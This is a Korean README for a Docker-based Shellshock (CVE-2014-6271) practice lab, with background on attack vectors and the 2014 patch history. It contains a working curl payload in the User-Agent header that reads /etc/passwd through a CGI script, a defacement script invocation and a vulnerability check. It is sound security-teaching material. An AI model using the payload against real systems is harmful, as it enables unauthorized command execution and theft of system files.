
Shellshock 익스플로잇 + 취약 환경

셸쇼크(Shellshock)는 Bashdoor라고도 알려져 있으며, 널리 사용되는 Unix Bash 셸에서 발견된 일련의 보안 버그입니다. 첫 번째 버그는 2014년 9월 24일에 공개되었습니다. 일부 웹 서버 배포판과 같은 많은 인터넷 노출 서비스가 특정 요청을 처리하기 위해 Bash를 사용하므로, 공격자는 취약한 버전의 Bash가 임의의 명령을 실행하도록 만들 수 있습니다. 이를 통해 공격자는 컴퓨터 시스템에 대한 무단 액세스를 얻을 수 있습니다.
이 환경을 실행하려면 docker가 설치되어 있어야 합니다. 아직 설치하지 않았다면 docker.com에 방문하여 설치하세요.
취약 환경을 시작하려면 다음을 실행하세요.
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
브라우저를 열고 localhost:8080로 이동하세요. 모든 것이 정상이면 다음과 같은 페이지가 표시됩니다.

이 결함을 악용하는 방법은 여러 가지가 있습니다.
cat /etc/passwd를 실행하는 간단한 예입니다.
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
이를 사용하여 원하는 모든 명령을 실행할 수 있습니다.
이것은 exploit-deface.sh에 포함된 샘플 코드일 뿐입니다. 이미지에 대해 그냥 실행하세요.
./exploit-deface.sh <ip> <port>
예를 들어 위에서 제공된 명령으로 실행 중이라면
./exploit-deface.sh localhost 8080
브라우저를 새로고침하면 다음이 표시됩니다.

시스템에서 다음 bash 스크립트를 실행하면 취약한지 여부를 확인할 수 있습니다.
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
웹 서버가 문서 요청을 처리하기 위해 CGI(Common Gateway Interface)를 사용할 때, 환경 변수 목록에 있는 핸들러 프로그램에 요청의 다양한 세부 정보를 전달합니다. 예를 들어, HTTP_USER_AGENT 변수에는 일반적인 사용에서 요청을 보내는 프로그램을 식별하는 값이 있습니다. 요청 핸들러가 Bash 스크립트이거나 system(3) 호출을 사용하여 Bash 스크립트를 실행하는 경우, Bash는 서버가 전달한 환경 변수를 수신하여 위에서 설명한 대로 처리합니다. 이는 공격자가 특수하게 조작된 서버 요청으로 셸쇼크 취약점을 트리거할 수 있는 수단을 제공합니다.
널리 사용되는 Apache 웹 서버의 보안 문서에는 "CGI 스크립트는 ... 신중하게 검사하지 않으면 매우 위험할 수 있습니다."라고 명시되어 있으며, 웹 서버 요청을 처리하는 다른 방법이 자주 사용됩니다. 인터넷에 노출된 웹 서버를 대상으로 이 취약점을 테스트하는 여러 온라인 서비스가 있습니다.
OpenSSH에는 사용자가 로그인할 때 무제한 명령 셸을 실행하는 대신 고정 명령이 실행되는 "ForceCommand" 기능이 있습니다. 사용자가 다른 명령을 실행하도록 지정한 경우에도 고정 명령이 실행되며, 이 경우 원래 명령은 "SSH_ORIGINAL_COMMAND" 환경 변수에 저장됩니다. 강제 명령이 Bash 셸에서 실행될 때(사용자의 셸이 Bash로 설정된 경우), Bash 셸은 시작 시 SSH_ORIGINAL_COMMAND 환경 변수를 파싱하고 그 안에 포함된 명령을 실행합니다. 사용자는 셸쇼크 버그를 사용하여 제한된 셸 액세스로 무제한 셸 액세스를 얻을 수 있습니다.
일부 DHCP 클라이언트는 Bash에 명령을 전달할 수도 있습니다. 취약한 시스템은 개방형 Wi-Fi 네트워크에 연결할 때 공격을 받을 수 있습니다. DHCP 클라이언트는 일반적으로 DHCP 서버에서 IP 주소를 요청하고 받지만, 일련의 추가 옵션도 제공받을 수 있습니다. 악의적인 DHCP 서버는 이러한 옵션 중 하나에 취약한 워크스테이션이나 노트북에서 코드를 실행하도록 조작된 문자열을 제공할 수 있습니다.
Bash를 사용하여 이메일 메시지를 처리할 때(예: .forward 또는 qmail-alias 파이핑을 통해), qmail 메일 서버는 취약한 버전의 Bash를 악용할 수 있는 방식으로 외부 입력을 전달합니다.
이 버그는 시스템 관리자를 위한 소형 Linux 변형인 IBM HMC(Hardware Management Console)의 제한 셸에서 Bash에 대한 액세스 권한을 얻는 데 악용될 수 있습니다. IBM은 이를 해결하기 위한 패치를 발표했습니다.
2014년 9월 24일까지, Bash 관리자인 Chet Ramey는 CVE-2014-6271을 해결하는 Bash 4.3 패치 버전 bash43-025를 제공했으며, 이는 배포판 관리자에 의해 이미 패키징되었습니다. 9월 24일에는 CVE-2014-7169를 해결하는 bash43-026이 이어졌습니다. 그런 다음 CVE-2014-7186이 발견되었습니다. Red Hat의 Florian Weimer는 9월 25일에 이에 대한 일부 패치 코드를 "비공식적으로" 게시했으며, Ramey는 이를 Bash에 bash43-027로 통합했습니다. 이 패치는 코드만 제공하므로, 패치 파일과 나머지 소스 코드 파일에서 새 Bash 바이너리 실행 파일을 컴파일("재빌드")하는 방법을 아는 사람에게만 유용했습니다.
다음 날, Red Hat은 Red Hat Enterprise Linux에 대한 해당 업데이트를 공식적으로 발표했고, 하루 후에는 Fedora 21용 업데이트를 발표했습니다. Canonical Ltd.는 토요일인 9월 27일에 Ubuntu LTS(Long Term Support) 버전용 업데이트를 발표했습니다. 일요일에는 SUSE Linux Enterprise용 업데이트가 있었습니다. 그 달 말 월요일과 화요일에는 Apple OS X 업데이트가 나타났습니다.
2014년 10월 1일, Google Inc.의 Michał Zalewski는 마침내 Weimer의 코드와 bash43-027이 처음 세 가지 버그뿐만 아니라 bash43-027 이후에 공개된 나머지 세 가지 버그(자신이 발견한 두 가지 포함)까지 수정했다고 밝혔습니다. 이는 이전 배포판 업데이트 이후 6가지 문제를 모두 해결하기 위해 추가 업데이트가 필요하지 않았음을 의미합니다.
이 프로그램과 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(opsxcq)는 이 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생한 어떠한 손해에 대해서도 책임을 지지 않습니다. 작성자 또는 어떠한 인터넷 서비스 제공자도 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 책임을 지지 않습니다. 이 프로그램을 사용함으로써 이 프로그램 사용으로 인한 어떠한 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)도 opsxcq의 책임이 아니라는 사실에 동의하는 것입니다.